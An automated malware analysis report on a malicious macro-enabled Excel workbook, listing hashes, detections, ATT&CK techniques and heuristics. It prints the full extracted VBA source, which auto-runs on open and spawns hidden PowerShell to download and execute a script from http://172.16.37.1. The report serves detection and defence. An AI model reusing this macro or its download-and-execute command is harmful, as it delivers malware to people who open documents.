Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3338700b6ec54b78…

MALICIOUS

Office (OOXML)

87.8 KB Created: 2014-09-03 07:42:21 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2019-11-20
MD5: 8acc6d797d02a3ce4b0ad7f7d8e5802d SHA-1: c046214d6d59602e4dd8205b8f90b77c7a0cad7c SHA-256: 3338700b6ec54b78dfee1e31e4ec0e63116fa16ecfaf4711bde86662ebc0d051
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The VBA macros contain Auto_Open and Workbook_Open subroutines that execute a PowerShell command. This command downloads a script from the URL http://172.16.37.1/ps/ps.png and executes it. The presence of WMI Win32_Process creation and PowerShell references strongly indicates a malicious intent to download and run a second-stage payload.

Heuristics 9

  • ClamAV: Win.Trojan.PowerShell-6312116-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.PowerShell-6312116-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://172.16.37.1/ps/ps.png')); Invoke-ps", Null, objConfig, intProcessID
     End Function
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
            strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
            strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
Execute
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub Auto_Open()
Execute
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://172.16.37.1/ps/ps.png In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1993 bytes
SHA-256: 2edaa50aeedea5cf11c4143e1e3a09a76439aaf3c412d7d013bdb70148ab97a6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Auto_Open()
Execute
End Sub

Sub Workbook_Open()
Execute
End Sub

     Public Function Execute() As Variant
        Const HIDDEN_WINDOW = 0
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
         
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://172.16.37.1/ps/ps.png')); Invoke-ps", Null, objConfig, intProcessID
     End Function

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19968 bytes
SHA-256: 1d6e890c64525db2307139e0a1a377d78e6c27962b44f9b3ef4adc0c7ec27ae3
Detection
ClamAV: Win.Trojan.PowerShell-6312116-0
Obfuscation or payload: unlikely

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